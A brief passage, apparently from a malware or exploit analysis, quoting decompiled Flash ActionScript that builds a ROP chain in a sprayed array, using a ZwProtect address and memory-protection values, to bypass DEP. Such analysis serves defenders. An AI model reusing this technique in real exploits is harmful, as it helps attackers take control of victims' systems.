_local10 = this.m_ZwProtectAddr;  _local41 = _local6;  s[_local28][((((_local6 - _local12) / 4) - 2) - 4)] = (_local41 & 0xFFFFF000);  s[_local28][((((_local6 - _local12) / 4) - 1) - 4)] = 0x3000;  s[_local28][((_local6 - _local12) / 4)] = _local10;  s[_local28][(((_local6 - _local12) / 4) + 1)] = (_local41 + 28);  The code above shows the Flash code setting up the ROP chain to bypass DEP and includes another interesting marker.